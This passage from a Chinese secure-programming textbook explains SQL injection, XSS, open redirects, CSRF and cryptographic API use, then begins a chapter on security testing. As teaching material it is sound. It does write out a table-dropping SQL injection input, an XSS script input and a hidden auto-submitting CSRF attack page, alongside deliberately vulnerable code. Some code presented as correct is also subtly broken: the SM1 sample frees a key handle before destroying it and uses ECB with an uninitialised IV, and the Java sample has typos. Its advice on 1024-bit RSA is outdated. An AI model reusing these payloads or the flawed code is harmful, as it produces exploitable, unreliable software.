代码清单4-7将接收用户输入的pname参数，然后执行SQL查询语句。如果用户输入是“大型机”，则查询语句为“select*from product where pname like‘%大型机%’”，执行结果是将所有pname包含大型机的内容显示出来。如果攻击者恶意构造输入“aa%’；drop table product--”，则查询语句变为“select*from product where pname like‘%aa%’；drop table product--%’”，这条语句首先执行select查询，将所有pname包含aa的内容显示出来，然后执行“drop table product--”语句，将表product删除，表product中所有数据丢失。

代码清单4-7　SQL注入示例



$sql = "select * from product where pname like '%"
$_REQUEST["pname"] . "%'";
mysqli_query($link,$sql);




防止SQL注入最常用的方法有：使用预编译语句（参数化查询）、使用存储过程、转义用户输入。

使用预编译语句是目前防止SQL注入的最佳方法。参数化查询强制开发人员在一开始就定义所有的SQL代码，然后在查询时填入参数，从而做到代码与数据的分离，忽略用户的输入。不同语言的预编译语句（参数化查询）如下：

·Java EE——使用PreparedStatement（）来绑定变量。

·.NET——使用类似SqlCommand（）或OlsDbCommand（）的参数化查询来绑定变量。

·PHP——数据对象（PDO）扩展定义了一个抽象的数据库接口，提供预处理语句和存储过程的参数化查询。

·Hibernate——使用createQuery（）来绑定变量。

·SQLite——使用sqlite3_prepare（）来创建语句对象。

代码清单4-8是Java中预编译语句的使用方法。

代码清单4-8　Java预编译语句示例



String custname = request.getParameter("customerName"); // This should REALLY be validated too
// perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";
PreparedStatement pstmt = connection.prepareStatement( query );
pstmt.setString( 1, custname); 
ResultSet results = pstmt.executeQuery();




代码清单4-9是C#.NET中预编译语句的使用方法。

代码清单4-9　C#预编译语句示例



String query = 
    "SELECT account_balance FROM user_data WHERE user_name = ?";
try {
    OleDbCommand command = new OleDbCommand(query, connection);
    command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));
    OleDbDataReader reader = command.ExecuteReader();
    // …


}   catch (OleDbException se) {
    // error handling
}




代码清单4-10是PHP中绑定变量的方法。

代码清单4-10　PHP绑定变量示例



$query = "INSERT INTO  test(name,age,addr)  VALUES (?,?,?)";
$stmt = $mysqli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
/*传入

$val1,$val2,$val3*/
$stmt->execute();




除了使用预编译语句外，还可以使用安全存储过程来防止SQL注入攻击。使用存储过程的效果和使用预编语句类似，区别是存储过程将SQL语句定义在数据库中。需要注意的是，存储过程也可能存在注入问题，因此，应尽量避免在存储过程中使用动态的内SQL语句。如果无法避免，应该使用严格的输入过滤或者是编码函数来处理用户输入数据。

Java中使用存储过程如代码清单4-11所示。

代码清单4-11　Java使用存储过程示例



String custname = request.getParameter("customerName"); // This should REALLY be validated
try {
    CallableStatement cs = connection.prepareCall("{call sp_getAccount-Balance
(?)}");
    cs.setString(1, custname);
    ResultSet results = cs.executeQuery();
    // …

 result set handling 
}   catch (SQLException se) {            
    // …

 logging and error handling
}




VB.NET中调用存储过程如代码清单4-12所示。

代码清单4-12　VB调用存储过程示例



Try
    Dim command As SqlCommand = new SqlCommand("sp_getAccountBalance", connection)
    command.CommandType = CommandType.StoredProcedure
    command.Parameters.Add(new SqlParameter("@CustomerName", CustomerName.Text))
    Dim reader As SqlDataReader = command.ExecuteReader()
    ' …


Catch se As SqlException 
    ' error handling
End Try




在用户输入放到查询语句前进行转义也是一种防范SQL注入攻击的方法。如果应用程序已经上线，需要修复SQL注入漏洞，将所有SQL语句重写成预编译语句或存储过程是非常耗时的，也会对系统性能造成影响，这时可以转义用户输入。OWASP组织提供的ESAPI已经实现了转义功能，例如，代码清单4-13可以使用代码清单4-14来实现转义。

代码清单4-13　SELECT语句组织示例



String query = "SELECT user_id FROM user_data WHERE user_name = '" + req.getParameter("userID") 
+ "' and user_password = '" + req.getParameter("pwd") +"'";
try {
    Statement statement = connection.createStatement( …

 );
    ResultSet results = statement.executeQuery( query );
}




代码清单4-14　SQL语句转移示例





Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM user_data WHERE user_name = '" + 
    ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("userID")) + "' and user_password = '"
    + ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("pwd")) +"'";





4.4.2　防范XSS跨站脚本攻击

跨站脚本攻击（Cross Site Script）的缩写本应该是CSS，为了不和Web前端技术层叠样式表（Cascading Style Sheets，CSS）混淆，所以缩写为XSS。XSS是攻击者利用应用程序的动态展示数据功能，在HTML页面嵌入恶意代码。当用户浏览该页面时，这些嵌入在html中的恶意代码就会被执行，用户浏览器被攻击者控制，以达到攻击者的特殊目的。跨站脚本攻击有三种攻击形式：反射型、存储型和基于DOM的。

1.反射型XSS

反射型XSS也称为非永久型XSS，是一种常见的XSS攻击。通常的攻击场景是攻击者通过社会工程学手段发送一个URL链接给用户，在用户打开该链接的同时，浏览器会执行页面中嵌入的恶意脚本。代码清单4-15演示了一个具有反射型跨站脚本攻击漏洞的例子，正常情况下，用户向param提交的数据会展示到页面中，如提交“hello”，结果如图4-4所示。

代码清单4-15　有XSS漏洞代码示例



<?php
$input = $_GET["param"];
echo "<p>".$input."</p>";
?>
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图4-4　正常输入结果

如果攻击者输入“<script>alert（'1'）；</script>”，会造成弹出提示框显示1，如图4-5所示，如果换成其他更危险的输入，后果也会更加严重。
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图4-5　恶意输入结果

2.存储型XSS

攻击者利用Web应用程序提供的录入或修改数据功能，将数据存储到服务器或用户cookie中，当其他用户浏览展示该数据页面时，浏览器会执行页面中嵌入的恶意脚本。所有浏览者都会受到攻击。

存储型XSS会把用户输入数据“存储”在服务器端。这种XSS具有很强的稳定性。比较常见的一个场景是，攻击者写下一篇含有恶意JavaScript代码的博客文章，并将其上传至服务器，如果服务器对接收的数据未进行检查，那么所有访问该文章的用户都会在他们的浏览器中执行这段恶意代码。由于攻击者把恶意脚本保存到服务器端，所以这种XSS攻击就叫作“存储型XSS”。存储型XSS通常也叫作“持久型XSS”（Persistent XSS），因为从效果上来说，它存在的时间会比较长。


3.DOM跨站攻击


基于DOM的跨站攻击是一种基于网页DOM结构的攻击。有些页面程序中包含了JavaScript代码，以便接收用户输入并将输入显示出来。这种情况下，攻击者可以在输入代码时故意插入一段恶意脚本。JavaScript代码在处理时，可能执行该恶意脚本。和前两种攻击不同，DOM跨站攻击是纯页面脚本的输出，只有规范使用JavaScript，才可以防御。

恶意攻击者可以利用跨站脚本攻击盗取用户cookie，伪造用户身份登录，控制用户浏览器，结合浏览器及其插件漏洞，下载病毒木马到浏览者的计算机上执行，也可以衍生URL跳转漏洞，让官方网站出现钓鱼页面，还可以发动蠕虫攻击。

防御XSS攻击最重要的就是验证输入和编码输出。验证输入就是检查每个输入的有效性。最主要的是检查输入类型和数据长度。例如，从一个文本框接受一个标准的邮政编码时，可以设置只允许接受数字0~9，且长度为6，不能多也不能少。编码输出是确保字符被视为数据，而不是作为HTML元字符被浏览器解析，以此达到阻止攻击的目的。一般来说，需要编码的数据包括HTML实体、HTML属性、JavaScript、CSS和URL。

OWASPESAPI（Enterprise Security API）是OWASP组织开发的开源、免费的安全控件库。ESAPI中提供了各种Validate函数来实现验证输入，同时还有Encoder函数来实现编码输出，代码清单4-16是使用ESAPI防御XSS的案例。

代码清单4-16　使用ESAPI防范XSS示例



String cleanComment= ESAPI.validator().
getValidInput("comment",request.getParameter("comment"), "CommentRegex", 300, false, errorList); 
// 处理……


String safeOutput = ESAPI.encoder().encodeForHTML( cleanComment );  




防御XSS的一个基本原则是在代码中不要插入不可信数据。包括脚本、HTML注释、HTML属性、标签名以及CSS中，都不能直接插入外部不可信数据。如果确实需要插入外部数据，应先进行转义，将其转换成安全的数据字符。代码清单4-17给出了使用ESAPI进行转移的函数。

代码清单4-17　使用ESAPI函数进行转义示例



<script>...NEVER PUT UNTRUSTED DATA HERE...</script>脚本中


<!--...NEVER PUT UNTRUSTED DATA HERE...-->HTML注释中


<div ...NEVER PUT UNTRUSTED DATA HERE...=test />属性中


<NEVER PUT UNTRUSTED DATA HERE... href="/test" />标签名


<style>...NEVER PUT UNTRUSTED DATA HERE...</style>直接在

CSS中


1）在

HTML代码中对数据进行转义


String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) );
2）在

HTML属性中对数据进行转义


String safe = ESAPI.encoder().encodeForHTMLAttribute ( request.getParameter ( "input" ) );
3）在

JavaScript中对数据进行转义


String safe = ESAPI.encoder().encodeForJavaScript ( request.getParameter 
( "input" ) );
4）在

HTML样式属性中对数据进行

CSS转义


String safe = ESAPI.encoder().encodeForCSS( request.getParameter("input" ) );
5）在

HTMLURL参数中对数据进行转义


String safe = ESAPI.encoder().encodeForURL( request.getParameter( "input" ) );





4.4.3　避免重定向漏洞

Web应用会根据不同的应用逻辑将用户引向不同的页面。在一个登录页面验证成功后，需要将用户引导到系统主页面，这个跳转过程可能会导致一些安全问题，特定条件下可能引起严重的安全漏洞。如果应用程序提取用户可以控制的输入，并使用这个数据执行一个重定向操作，指示用户浏览器访问一个非用户请求的URL，就会造成重定向漏洞。代码清单4-18和代码清单4-19允许用户输入一个重定向路径，由服务器执行跳转。

代码清单4-18　Index.jsp代码



<form action="Redirect">地址：

<input name="target" type="text"><br>
<input type="submit" value="提交

">
</form>




代码清单4-19　Redirect.java主要代码



String param = request.getParameter("target"); 
 if (param != null && !param.equals("")) 
 { 
     response.sendRedirect(param); 
 }




用户在index.jsp的表单中输入跳转的路径，服务器端的Redirect.java执行sendRedirect重定向。用户如果输入的是http://www.baidu.com
 ，那么网页就会自动跳转到百度页面，如图4-6所示。

[image: ]


图4-6　网页重定向示例

重定向漏洞的主要问题是程序允许用户设置重定向地址，在没有对地址内容进行有效验证的情况下直接跳转并发送给用户。如果攻击者设计一个恶意URL，诱使用户单击此URL，则用户可能受到攻击。

解决重定向漏洞的方法就是避免由用户决定跳转的页面，如果不得不这么做，则应对跳转路径进行验证，确保只跳转到可信的URL地址。


4.4.4　避免跨站请求伪造漏洞

跨站请求伪造（Cross-site request forgery，缩写为CSRF或者XSRF）是一种对网站的恶意利用攻击，通过伪装成来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击更具危险性。

CSRF的破坏力依赖于受害者权限：如果受害者是普通用户，CSRF攻击会危害该用户数据安全；如果受害者具有管理员权限，CSRF攻击甚至会威胁整个网站安全。CSRF攻击可以从站外和站内发起。从站内发起CSRF攻击，需要利用网站本身的业务。比如“自定义头像”功能，恶意用户指定自己的头像URL是一个修改用户信息的链接，当其他已登录用户浏览恶意用户头像时，会自动向这个链接发送修改信息请求。

下面举例说明CSRF攻击的流程及实现。代码清单4-20是一段没有CSRF防御的PHP代码，这段代码是用输入的“email，tel，realname”等信息来更新用户相关信息，前台HTML如代码清单4-21所示。

代码清单4-20　没有CSRF防御功能的PHP代码示例



$userid=$_SESSION["userid"];
$email=$_REQUEST["email"];
$tel=$_REQUEST["tel"];
$realname=$_REQUEST["realname"];
$params = array();
$params[0] =$email;
$params[1] = $tel;
$params[2] = $realname;
$params[3] =$userid;
$sql = "update user set email=?,tel=?,realname=? where userid=?";
execUpdate($sql,$params);




代码清单4-21　搜集用户信息的HTML代码



<form action="http:// localhost/servlet/modify" method="POST">
<input name="email">
<input name="tel">
<input name="realname">
<input name="userid">
<input type="submit">
</form>




恶意攻击者发起攻击时，首先会构造一个HTML页面test.html，如代码清单4-22所示。

代码清单4-22　恶意攻击者构造的空白页面



<iframe src="b.htm" width="0" height="0"></frame>




构造这个页面的主要作用是让被攻击者看到一个空白页面，而实际上执行的是b.htm，如代码清单4-23所示。

代码清单4-23　攻击攻击者构造的恶意页面



<form id="modify" action="http:// XXXXX.com/servlet/modify" method="POST">
<input name="email">
<input name="tel">
<input name="realname">
<input name="userid">
<input type="submit">
</form>
<script>
    document.getElementById("modify").submit();
</script>




在整个攻击过程中，受害用户仅仅看到一个空白页面（可以伪造成其他页面）。实际上用户信息已经被修改，但用户却毫不知情。

可以通过验证HTTP Referer字段来防御CSRF攻击。在请求地址中添加Token并验证，或者添加验证码。HTTP头中有一个字段叫Referer，它记录了该HTTP请求的来源地址。验证HTTP Referer能防范从站外发起的CSRF攻击，不能防范从站内发起的攻击。添加验证码是防御CSRF攻击最简单有效的方法，但会使用户增加额外的操作，通常网站为了保证良好的用户体验，并不能给所有的操作都加上验证码，所以添加验证码只是一个辅助解决方法。

在请求地址中添加Token并验证是目前使用较多的防御CSRF攻击的方法。CSRF攻击之所以能够成功，是因为请求中所有用户验证信息都存在于Cookie中，黑客在不知道这些验证信息的情况下，可以使用自己的Cookie通过安全验证，伪造用户请求。因此，抵御CSRF攻击关键在于在请求中放入黑客不能伪造的信息，并且该信息不存储在Cookie中。可以在HTTP请求中以参数的形式加入一个随机产生的Token，并在服务器端建立一个拦截器来验证这个Token，如果请求中没有Token或者Token内容不正确，则可能遭受CSRF攻击，应拒绝该请求。使用Token时需要注意Token的保密性，应尽量把Token放在表单中，敏感操作由GET改为POST提交。


4.5　数据安全编程

数据对于应用程序越来越重要。口令、文档、邮件、合同、研究报告等数据都和现实工作紧密相联，一旦发生数据泄露或被黑客伪造身份登录系统，后果将十分严重。使用密码学技术可以很好地满足对相关数据的安全保护需求。由于很多软件开发商或程序员对于密码学了解不多，在需要对数据进行安全保护的时候，不使用或者错误地使用密码技术，结果软件表面上很安全，实际上却非常容易受到攻击。最常见的错误包括：错误地使用加密算法、哈希算法使用不当、弱随机数和密钥管理不当等。


4.5.1　常用密码算法和接口库

在很多软件中，使用密码算法对数据进行加密是保障数据安全的首选方法。不同的密码算法应用范围和适用场景各不相同。这些密码算法有着不同的实现库，如果选择实现错误的库函数，可能造成软件加解密错误、加密强度低等问题。

1.密码算法选择

信息安全中的机密性（confidentiality）即指信息在存储、传输、处理过程中的安全保密，要求信息不会泄露给未经授权的人。如A发送给B的私人消息，不应该被其他人通过窃听获得。机密性需求可以通过调用对称加密、非对称加密以及混合加密等密码算法来满足。这些加密算法都将明文、可读的字符转换成密文、看起来随机、不可读的字符，这样即使对手通过窃听、盗窃等手段获得密文，也无法得到实际明文。

在保护数据的机密性的时候，没有经验的程序员容易犯的最常见的错误就是不使用经过专家验证过的加密算法，而是采取直接存储明文的方式处理数据，或者使用自己编制的“异或”算法来变换数据以代替正规的加密算法。

几乎所有的密码专家都建议：程序员不应使用自行创建的密码算法，应选择使用公开算法，并且这些算法经过多年研究后仍然被认为是足够安全的。密码算法大致可以分为对称加密算法、非对称加密算法、哈希算法三类。其中：对称加密算法也称单密钥加密算法，国际上常用的算法包括DES、3DES、AES和IDEA等；非对称加密算法也称公钥加密算法，常用的算法包括RSA和ECC；哈希算法也称摘要算法或散列算法，常用的算法包括MD5、SHA-1、SHA-256等。算法的密钥长度决定了数据的安全保护强度，从当前的安全保护需求看，一般的商用系统至少应使用128位AES算法、1024位RSA算法和SHA-256算法。

为了加强我国商用密码管理，保护信息安全，保护公民和组织的合法权益，维护国家安全和利益，我国制定了商用密码管理条例，并陆续推出了我国自主设计的密码算法，包括SM1、SM2、SM3和SM4等，如表4-1所示。选择密码算法及加密强度时，除了根据安全需求，还应参照国家法律和相关行业规定的要求。

表4-1　我国商用密码算法
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2.常用密码库

程序员可以自己编写密码算法的实现函数，也可以调用其他人编写的密码库。考虑到密码算法实现需要的数学知识和效率需求，调用优秀的密码函数库是一个比较好的选择。目前有一些函数库被广泛使用，包括MIRACL、OpenSSL、CryptoAPI、Cryptlib、Crypto++、Cryptix、LibTomCrypt（LibTomMath）等。下面介绍MIRACL、OpenSSL、CryptoAPI等几个常见的密码库。

（1）MIRACL

MIRACL（Multiprecision Integer and Rational Arithmetic C/C++Library）是当前使用较为广泛的公钥加密算法函数库，由Shamus软件公司开发，包含了RSA、AES、DSA、ECC和Diffie-Hellman密钥交换等算法。

MIRACL函数库的特点是运算速度快，且大部分代码是用标准的ANSI C编写的，可以用任意规范的ANSI C编译器进行编译，因此MIRACL能够支持多种平台。此外，MIRACL包中包含了库中所有模块的完整源代码以及示例程序，提供免费下载。MIRACL提供了两个说明文档，一个是《函数查询手册》，另一个是《使用说明》。

（2）OpenSSL

OpenSSL是一个实现了SSL协议及相关加密技术的软件包，主要功能包括密码算法、SSL协议库，以及常用密钥和证书封装管理功能，并提供了丰富的应用程序，供用户测试或直接使用。OpenSSL提供多种密码算法。对称密码算法包括AES、DES、Blowfish、CAST、IDEA、RC2、RC5等；非对称密码算法包括DH、RSA、DSA和ECC；哈希算法包括MD2、MD5、MDC2、SHA和RIPEMD；还有DSS标准中规定的两种信息摘要算法DSS和DSS1。

OpenSSL采用C语言作为开发语言，支持的平台包括Linux、UNIX、Windows、BSD、Mac等。它是一个开源项目，全部代码可以免费下载。

（3）CryptoAPI

微软公司在Windows中设定了一个安全加密应用框架，该架构由密码应用程序接口（Cryptographic Application Programming Interface，CryptoAPI）和密码服务提供者模块（Cryptographic Service Provider，CSP）组成。其中：CryptoAPI是密码函数接口库，包含了一组供应用程序调用的函数，这些函数允许应用程序调用相关密码算法接口和数字证书管理接口；CSP完成具体密码运算，这个加密模块可以是由第三方密码设备或密码软件制造商提供，以符合标准接口规范的方式挂接到CryptoAPI下。

为方便程序员使用，CrptyoAPI除了能调用第三方密码库外，微软还预先配置了一些密码库，这些密码库支持DES、AES、RSA、MD5等常见算法。

3.我国商用密码算法接口

自2012年年底，国家密码管理局陆续公布了我国商用密码算法，包括SM1、SM2、SM3和SM4等。为了进一步指导应用程序开发，国家密码管理局发布了《密码设备应用接口规范》（GM/T 0018—2012）、《通用密码服务接口规范》（GM/T 0019—2012）、《智能密码钥匙密码应用接口规范》（GM/T 0016—2012）和《智能密码钥匙密码应用接口数据格式规范》（GM/T 0017—2012）等行业标准，给出了商用密码算法的应用接口（API），并详细说明了调用SM1、SM2、SM3以及SM4算法时相关函数的数据类型、格式和安全性要求等内容。按照我国商密管理条例生产和销售的密码设备，均应按照上述标准提供接口。

对称加密函数调用如代码清单4-24所示，该函数表示使用指定的密钥句柄和初始化向量对数据进行对称加密运算。其中，hSessionHandle表示与设备建立的会话句柄；hKeyHandle表示已经指定的密钥句柄；uiAlgID表示对称算法类型（如SM1或SM4）；pucData和uiDataLength表示输入的待加密数据；pucEncData和puiEncDataLength表示加密后的密文数据。

代码清单4-24　对称加密函数原型



int SDF_Encrypt(
void *hSessionHandle,
void *hKeyHandle,
unsigned int uiAlgID,
unsigned char *pucIV,
unsigned char *pucData,
unsigned int uiDataLength,
unsigned char *pucEncData,
unsigned int  *puiEncDataLength);





4.5.2　随机数生成

在数据加密、通信协议、优化算法中经常需要生成随机数，C、C++、Java等编程语言均提供了生成随机数的函数，如rand（）、random（）等。但这些函数利用数学多项式来产生随机数。这些数并不是真正的随机，而是有规律的数列，也就是说这些函数得到的随机数是“可预测的”。代码清单4-25是一个错误的随机数生成示例代码，运行该代码，可以发现程序的10个输出“随机数”每次都是一样的。

代码清单4-25　错误的随机数生成示例



int i;
for(i=0;i<10;i++)
{
    srand( (unsigned)time( NULL ) );
    printf("%d\n",rand());
}




一般在代码初始函数中，应调用编程语言提供的随机数种子设置函数，以在后续随机数生成函数中产生随机性更好的随机数。所谓种子，是指将当前系统时钟、操作系统空闲进程时间、IO读写计数、CPU温度等信息设置为初始参数，有利于生成更为强壮的随机数。如在C语言中可以使用srand（）函数生成种子。代码清单4-26给出了Java语言中设置随机数种子生成随机数的例子。

代码清单4-26　Java语言生成随机数示例



import java.util.Data;
import java.util.Randomo;
public class Test_Gen_Random
{
public static void main(string[] args)
{
    random randomno = new Random();
    // 将当前时间设置为种子


    long seed = new Data().getTime();
    randomno.setSeed(seed);
    // 产生一个随机数


    System.out.println(randomno.nextInt());
}
}




但是，在安全要求更为严格的场合，即使使用随机数种子来加强其“随机性”，也不足以获得真正的随机数。程序员可调用密码函数库中提供的随机数生成函数，以得到更好的随机数。我国商用密码函数接口中生成随机数函数的原型如代码清单4-27所示。其中：hSessionHandle为输入参数，表示已经与密码设备建立的会话句柄；uiLength是输入参数，表示希望得到的随机数的长度；pucRandom为输出参数，用于存放生成的随机数。函数SDF_GenerateRandom（）的返回值为0表示函数调用成功，正确生成了随机数并返回；函数返回值非0，则表示函数处理出错，该返回值中保存了相应的错误代码。

代码清单4-27　随机数生成函数原型



import java.util.Data;
int SDF_GenerateRandom (
    void *hSessionHandle, 
    unsigned int  uiLength,
    unsigned char *pucRandom);





4.5.3　选择加密算法

编程时，使用数据加密技术最容易发生的错误包括：该加密的数据没有加密，使用明文传递或存储；使用自己设计的“加密算法”或过时的算法，这些算法都存在安全问题，不足以对抗当前的攻击；加密时使用了不合格密钥，或者总使用固定的密钥加密，或者使用了弱密钥加密，导致保密效果大大降低；加密密钥传递或保存不当，容易被攻击者截获。程序员在调用加密算法时，应警惕上述问题。

代码清单4-28演示了一段程序员自定义的“加密”算法，该“加密”算法的实质是对待加密的数据和固定的数值进行异或，并进行编码输出。

代码清单4-28　错误的加密函数示例



int User_Encrypt(char *pInData, int nInDataLen, char *pOutEnc, int *pOutEncLen)
{
    int  nLoop;
    char chTemp;
    for (nLoop=0; nLoop<nInDataLen; nLoop++)
    {
        chTemp= pInData[nLoop] ^ 0xab;
        sprintf(pOutEnc[nLoop*2], "%02X", chTemp);
    }
    *pOutEncLen = nInDataLen * 2;
    return 0;
}




初看起来，这个“加密”函数对输入数据进行了两步变化，过程还较为复杂，检查“加密”结果时，数据长度发生了变化，数据内容也发生了翻天覆地的变化。但是，这种用户自定义的“加密”算法实际上是非常脆弱的，攻击者稍微努力，多测试几次，就能发现程序员的“诡计”。

对程序员来讲，在选择加密算法时，需要记住如下几条：

·不能使用异或、与、非、简单加法、添加固定的头部等自定义的办法来代替密码算法；

·不能采用数字转字母、ASN、BASE64编码等数据编码和变换的方法来代替密码算法，这些变换称不上加密，其变换结果很容易被攻击者反变换回来；

·不能再采用DES、MD4、MD5等过时的密码算法，更不能采用程序员自定义的“复杂加密”算法。

在编写数据加密代码时，正确的做法是调用国际国内流行或符合国家政策要求的加密算法，并正确生成和使用加密密钥。代码清单4-29是SM1算法的调用示例，该代码展示了调用SM1算法对数据进行加密的流程。首先，使用密码设备接口生成了加密密钥，并使用SM2公开密钥对该密钥进行保护，然后再使用该密钥对要加密的数据进行加密，最后销毁本次使用的会话密钥。

代码清单4-29　调用SM1算法加密数据示例



int Test_SDF_EncData(unsigned char   *phSessionHandle, ECCrefPublicKey pucPublicKey, ECCCipher *pucKey, unsigned char *pucData, uiDataLength, unsigned char *pucEncData, unsigned int puiEncDataLength)
{
    int                 ret;
    unsigned int         *phKeyHandle;
    unsigned char     pucIV[10];
    phKeyHandle = (unsigned int*)malloc(4);
    // 生成会话密钥并用外部

ECC公钥加密输出


    ret = SDF_GenerateKeyWithEPK_ECC(phSessionHandle, 128, SGD_SM2_3, pucPublicKey, pucKey, (void **)&phKeyHandle);
    if (ret != 0)
    {
        printf("\tSDF_GenerateKeyWithEPK_ECC = %8x\n",ret);
        free(phKeyHandle);
        return ret;
    }
    // 对称加密


    ret = SDF_Encrypt(phSessionHandle, phKeyHandle, SGD_SM1_ECB, pucIV, pucData, uiDataLength, pucEncData, &puiEncDataLength);
    free(phKeyHandle);
        if (ret != 0)
        {
            printf("\tSDF_Encrypt = %8x\n",ret);
            return ret;
        }
    // 销毁会话密钥


    ret = SDF_DestoryKey(phSessionHandle, phKeyHandle);
    if (ret != 0)
    {
        printf("\tSDF_DestoryKey = %8x\n",ret);
        return ret;
    }
    return 0;
}





4.5.4　密钥生成和使用

与非对称算法相比，对称密码算法的优点是实现简单、加密速度快，因而常用于大数据量的加密。使用对称密码算法的不利因素是其存在密钥分发的难题，即数据接收方（解密方）如何与发送方（加密方）取得一致的密钥以正确解密密文。

事实上，密钥的生成和使用管理一直是密码学研究的重点问题。在加密数据后，密钥如果被恶意攻击者获得或者猜测出来，那么攻击者就很容易解密数据得到明文。在软件开发时，在密钥管理方面易犯的错误包括：随意采用一个字符串当成密钥，没有使用密钥生成函数，也没有进行弱密钥检测；每次加密都使用相同的密钥，不定期更换；密钥生成后，没有采用加密和恰当保护手段通过网络传递给接收方。

代码清单4-30是一段调用OpenSSL库进行数据加密的错误代码示例，在该代码片段中，程序员为了避免生成密钥和传递密钥的麻烦，使用了固定的加密密钥。

代码清单4-30　错误的加密函数编写示例



int Test_OpenSSL_EncData(EVP_CIPHER_CTX *pCtx, EVP_CIPHER *pCipher, char *pInMsg, int nInMsgLen, char *pOutEnc, int *pOutEncLen)
{
    unsigned char *pucKey="1234567887654321";
    unsigned char *pIV={0};
    int nTmpLen;
    EVP_EncryptInit(pCtx, pCipher, pucKey, pIV);
    EVP_EncryptUpdate(pCtx, pOutEnc, pOutEncLen, pInMsg, nInMsgLen);
    EVP_EncryptFinal(pCtx, &pOutEnc[*pOutEncLen], &nTmpLen);
    *pOutEncLen += nTmpLen;
    return 0;
}




为了避免上述问题，开发人员应当遵循如下策略。

·每次加密时，使用临时生成的密钥来加密，该密钥仅在这一次通话会话中使用，使用后删除，下次通话会话重新产生新的会话密钥；

·每次生成密钥时，不自己指定密钥，而是使用密钥生成函数来得到密钥；

·密钥传递时使用非对称加密保护，有可能还可以使用另外一条线路来传输；

·除了采取发送方（加密方）生成密钥的方式，还可以采取双方协商产生密钥的方式，而且使用国内外公认的密钥协商协议来产生会话密钥。

代码清单4-29演示的加密代码中，就遵循了每次加密临时产生会话密钥、且采用特定的生成函数来产生密钥的策略，有关密钥协商协议的原理和案例，读者可以参考有关书籍。


4.5.5　加盐哈希计算

哈希算法用来对输入数据进行单向计算，得到该数据的指纹特征，并以此验证数据的完整性。程序开发时，容易出现的问题是没有注意到有些场景需要使用加盐的哈希算法。

开发WEB程序时，大部分系统都有用户账号管理功能。该功能需要安全地存储用户账号和口令，以便验证登录用户的身份。显然使用明文存储用户口令是非常不合适的，直接使用哈希算法对用户口令进行变化并保存该哈希值，实际上只是稍微增加了攻击难度，不足以对抗现有口令字典攻击和暴力攻击。某些网站还提供了哈希值对应明文查询功能，可以让攻击者迅速得到明文口令。

加盐哈希算法是做哈希计算时，先在明文中混入一段“随机”的字符串再进行计算，这个字符串被称作盐值。这样每次对相同的明文做哈希运算都会得到不同的哈希值。为了验证输入口令的正确性，需要将哈希值和盐值一起存储。代码清单4-31是SM3算法使用示例。

代码清单4-31　加盐哈希计算代码示例



int Test_SDF_Hash(unsigned char *phSessionHandle)
{
    int            ret;
    unsigned char  pucInData[]={"abcdefghij"};
    unsigned int    uiInDataLen = 10;
    unsigned char   pucInDataWithSalt[40];
    unsigned int    puiInDataLenWithSalt;
    unsigned char   pucOutData[100];
    unsigned int    puiOutDataLen = 100;
    // 设置盐值，实际编程时这里应使用随机值


    unsigned char   pucSalt[]={"SALT_151029"};
    // 哈希计算之前，将盐加到明文数据中


    memcpy(pucInDataWithSalt, pucSalt, 11);
    memcpy(pucInDataWithSalt + 11, pucInData, uiInDataLen);
    puiInDataLenWithSalt = 11 + uiInDataLen;
    // SM3哈希计算


    ret = SDF_Hash( phSessionHandle, SGD_SM3, pucInDataWithSalt, pui-InDataLen
WithSalt, pucOutData, &puiOutDataLen );
    if (ret != 0)
    {
        printf("\tSDF_Hash = %8x\n",ret);
        return ret;
    }
    printf("\tSDF_Hash success!\n");
    return 0;
}




为了保证哈希计算的安全强度，还应该做到每次哈希计算都使用不同的盐，而且不能使用太短的盐。一个值得推荐的做法是使用和哈希算法输出长度等长的盐，并且盐使用随机数函数计算生成。如在使用SHA-256算法时，应使用32个字节（即256比特）长的盐，该盐由随机数生成函数得到。
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第5章　软件安全测试

软件安全测试是验证产品是否满足安全要求的一个环节，同时也为管理层提供信息来判断产品是否可以发布。本章介绍软件安全测试的基本概念，并详细描述三种常用的软件安全测试方法及测试案例。


5.1　软件安全测试基础

本节主要讨论软件安全测试的原则、流程以及内容。软件安全测试与软件测试最大的区别就是软件安全测试会把安全贯穿在整个测试过程中。本节介绍常用的安全测试流程“四阶段”方法。


5.1.1　软件测试与安全测试

1.软件测试与安全测试的内容

在介绍软件安全测试之前，先简单回顾一下传统的软件测试。

IEEE 610.12—1990《软件工程术语集》中对软件测试定义如下。

·在规定条件下运行系统或构件的过程，观察和记录结果，并对系统或构件的某些方面给出评价；

·分析软件项目的过程，检测现有状况和所需状况之间的不同，并评估软件项目的特性。

软件测试可以从狭义和广义两个方面来理解。狭义软件测试是指执行软件的过程，包括测试计划和控制、测试分析和设计、测试实现和执行、测试评估和报告等。广义软件测试是一种全生命周期的测试，不同的开发阶段有不同的测试活动与之对应，测试对象不应该只局限于程序本身，还应包括需求分析、概要设计、详细设计以及程序编码等各个阶段得到的文档，也都是软件测试的“对象”。

软件测试的根本目标是确保软件的功能符合用户的需求，在发布或交付前尽可能多地发现并改正问题，具体包括：

·确保软件完成了它所承诺或公布的功能；

·确保软件满足性能的要求；

·确保软件是健壮的和适应用户环境的。

软件安全测试是在产品发布之前，验证系统是否满足安全需求，发现系统的安全漏洞，并最终把这些漏洞的数量降到最低的一系列过程。

软件测试的概念有狭义和广义之分，同样软件安全测试也有狭义和广义之分。从测试的阶段来看，狭义的软件安全测试就是系统测试中的软件安全性测试，广义的软件安全测试则是同广义的软件测试一样，应该是贯穿于整个软件开发生命周期的，不同的开发阶段应该采用不同的安全测试策略和方法。从覆盖的范围看，狭义的软件安全测试指的是执行安全测试用例的过程，而广义的安全测试指的是所有关于安全性测试的活动，后面的介绍都是基于广义的角度来讨论软件安全测试。

在不同的开发阶段，软件安全测试的对象也不相同，不仅是代码，还包括各种相关文档。如在需求分析阶段，软件安全测试需要对需求文档中的安全需求进行评审；在设计阶段需要对设计文档、受攻击面分析、威胁建模等文档进行评估；在编码阶段需要进行源代码审核等。

